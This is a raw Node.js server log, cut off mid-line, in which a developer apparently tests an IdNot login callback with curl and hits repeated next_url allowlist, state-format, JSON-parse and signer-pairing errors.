[dotenv@17.2.2] injecting env (42) from .env -- tip: 📡 observe env with Radar: https://dotenvx.com/radar ℹ️ [INFO] 2025-09-24T10:00:03.279Z Initializing Signer service Server started on port 8080 ✅ Connected to SDK Signer server ℹ️ [INFO] 2025-09-24T10:00:03.310Z Signer connected ℹ️ [INFO] 2025-09-24T10:00:03.310Z Signer connected ℹ️ [INFO] 2025-09-24T10:00:03.311Z Signer service initialized Server error: Device not paired Full error response: { "type": "ERROR", "error": "Device not paired", "messageId": "msg_1758708033301_3kg44iv66" } ❌ [ERROR] 2025-09-24T10:00:33.318Z Signer WebSocket error ──────────────────────────────────────────────────────────────────────────────── { error: 'Device not paired' } ❌ [ERROR] 2025-09-24T10:00:33.318Z Signer connection error ──────────────────────────────────────────────────────────────────────────────── { error: 'Device not paired' } ⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer disconnected - reconnecting... ⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer disconnected ⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer health check failed - connection may be stale ──────────────────────────────────────────────────────────────────────────────── { error: 'Server error for GET_PAIRING_ID: Device not paired' } ❌ [ERROR] 2025-09-24T10:01:07.054Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", name: 'SyntaxError', stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + ' at JSON.parse ()\n' + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758708067032_tgv1zthl0' } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=fake&state=fake', method: 'HEAD', query: { code_present: true, code_length: 4, state_present: true, state_length: 4 }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '92.243.24.12', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T10:01:07.165Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'Invalid state format', name: 'Error', stack: 'Error: Invalid state format\n' + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=fake', userAgent: 'curl/8.14.1' }, requestId: 'req_1758708067161_5kilhk33a' } ❌ [ERROR] 2025-09-24T10:01:07.166Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 4, request: { ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=fake', userAgent: 'curl/8.14.1' }, requestId: 'req_1758708067161_5kilhk33a', response: { statusCode: 500 } } ℹ️ [INFO] 2025-09-24T10:02:56.065Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 4, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758708176060_xkfx8euq5', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=fake&state=fake', method: 'HEAD', query: { code_present: true, code_length: 4, state_present: true, state_length: 4 }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '92.243.24.12', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T10:02:56.453Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'Invalid state format', name: 'Error', stack: 'Error: Invalid state format\n' + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=fake', userAgent: 'curl/8.14.1' }, requestId: 'req_1758708176452_6wvmzj7ti' } ❌ [ERROR] 2025-09-24T10:02:56.454Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=fake', userAgent: 'curl/8.14.1' }, requestId: 'req_1758708176452_6wvmzj7ti', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:04:25.763Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708265760_gzvm4oz8h' } ❌ [ERROR] 2025-09-24T10:04:25.765Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 4, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708265760_gzvm4oz8h', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:05:42.875Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708342873_leozic1k8' } ❌ [ERROR] 2025-09-24T10:05:42.876Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708342873_leozic1k8', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:07:04.959Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708424957_jd74sof76' } ❌ [ERROR] 2025-09-24T10:07:04.960Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708424957_jd74sof76', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:09:46.477Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708586475_b3bfd94aw' } ❌ [ERROR] 2025-09-24T10:09:46.479Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708586475_b3bfd94aw', response: { statusCode: 500 } } npm error could not determine executable to run npm error A complete log of this run can be found in: /home/ank/.npm/_logs/2025-09-24T10_12_28_918Z-debug-0.log ❌ [ERROR] 2025-09-24T10:13:10.043Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708790042_b74dymdc3' } ❌ [ERROR] 2025-09-24T10:13:10.044Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708790042_b74dymdc3', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:13:51.545Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708831544_j8txn0513' } ❌ [ERROR] 2025-09-24T10:13:51.547Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758708831544_j8txn0513', response: { statusCode: 500 } } ℹ️ [INFO] 2025-09-24T10:15:15.194Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758708915192_9y8qye4kr', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-24T10:18:59.808Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", name: 'SyntaxError', stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + ' at JSON.parse ()\n' + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758709139807_4q5qihz83' } ❌ [ERROR] 2025-09-24T10:18:59.912Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", name: 'SyntaxError', stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + ' at JSON.parse ()\n' + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters }, request: { body: {}, ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758709139911_2i5wacr3j' } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=fake&state=null', method: 'HEAD', query: { code_present: true, code_length: 4, state_present: true, state_length: 4 }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '92.243.24.12', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T10:19:00.038Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'Invalid state format', name: 'Error', stack: 'Error: Invalid state format\n' + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=null', userAgent: 'curl/8.14.1' }, requestId: 'req_1758709140037_neb8qywmn' } ❌ [ERROR] 2025-09-24T10:19:00.039Z HTTP HEAD /idnot/callback?code=fake&state=null - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=null', userAgent: 'curl/8.14.1' }, requestId: 'req_1758709140037_neb8qywmn', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:20:34.290Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758709234289_zvj3iukxo' } ❌ [ERROR] 2025-09-24T10:20:34.291Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758709234289_zvj3iukxo', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:20:46.142Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758709246142_uph0sxbkt' } ❌ [ERROR] 2025-09-24T10:20:46.143Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758709246142_uph0sxbkt', response: { statusCode: 500 } } ℹ️ [INFO] 2025-09-24T10:22:10.516Z SIGTERM received, shutting down gracefully [dotenv@17.2.2] injecting env (40) from .env -- tip: 🔐 prevent committing .env to code: https://dotenvx.com/precommit ℹ️ [INFO] 2025-09-24T10:22:11.238Z Initializing Signer service Server started on port 8080 ✅ Connected to SDK Signer server ℹ️ [INFO] 2025-09-24T10:22:11.253Z Signer connected ℹ️ [INFO] 2025-09-24T10:22:11.254Z Signer connected ℹ️ [INFO] 2025-09-24T10:22:11.254Z Signer service initialized Server error: Device not paired Full error response: { "type": "ERROR", "error": "Device not paired", "messageId": "msg_1758709361249_j1m0ykcur" } ❌ [ERROR] 2025-09-24T10:22:41.253Z Signer WebSocket error ──────────────────────────────────────────────────────────────────────────────── { error: 'Device not paired' } ❌ [ERROR] 2025-09-24T10:22:41.253Z Signer connection error ──────────────────────────────────────────────────────────────────────────────── { error: 'Device not paired' } ⚠️ [WARN] 2025-09-24T10:22:41.254Z Signer disconnected - reconnecting... ⚠️ [WARN] 2025-09-24T10:22:41.254Z Signer disconnected ⚠️ [WARN] 2025-09-24T10:22:41.254Z Signer health check failed - connection may be stale ──────────────────────────────────────────────────────────────────────────────── { error: 'Server error for GET_PAIRING_ID: Device not paired' } ℹ️ [INFO] 2025-09-24T10:25:07.860Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 8, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758709507836_xdo4lv33f', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-24T10:25:18.090Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758709518087_ou6jmdpno', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-24T10:34:26.922Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758710066904_27m9n7w60' } ❌ [ERROR] 2025-09-24T10:34:26.925Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 15, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758710066904_27m9n7w60', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:34:27.017Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758710067015_3kjktqu9g' } ❌ [ERROR] 2025-09-24T10:34:27.018Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758710067015_3kjktqu9g', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T10:47:37.979Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", name: 'SyntaxError', stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + ' at JSON.parse ()\n' + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758710857977_3x2tff0uc' } ❌ [ERROR] 2025-09-24T10:47:38.066Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", name: 'SyntaxError', stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + ' at JSON.parse ()\n' + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters }, request: { body: {}, ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758710858066_ifwqr8nuh' } ℹ️ [INFO] 2025-09-24T10:49:25.159Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758710965156_bo5sx3ixk', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-24T10:49:41.619Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758710981618_ebi2gpw1s', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-24T10:51:22.782Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0' }, requestId: 'req_1758711082780_j597urba0' } ❌ [ERROR] 2025-09-24T10:51:22.784Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0' }, requestId: 'req_1758711082780_j597urba0', response: { statusCode: 500 } } ℹ️ [INFO] 2025-09-24T11:01:58.450Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758711718448_di1jkndj4', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-24T11:01:58.565Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758711718563_hcmejk267', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.167.14.251', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T11:03:39.390Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758711819389_nf34png2h' } ❌ [ERROR] 2025-09-24T11:03:39.392Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758711819389_nf34png2h', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T11:03:49.801Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758711829800_f8l7fdg5v' } ❌ [ERROR] 2025-09-24T11:03:49.802Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758711829800_f8l7fdg5v', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T11:03:53.921Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://dev4.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758711833920_50d813ejt' } ❌ [ERROR] 2025-09-24T11:03:53.921Z HTTP POST 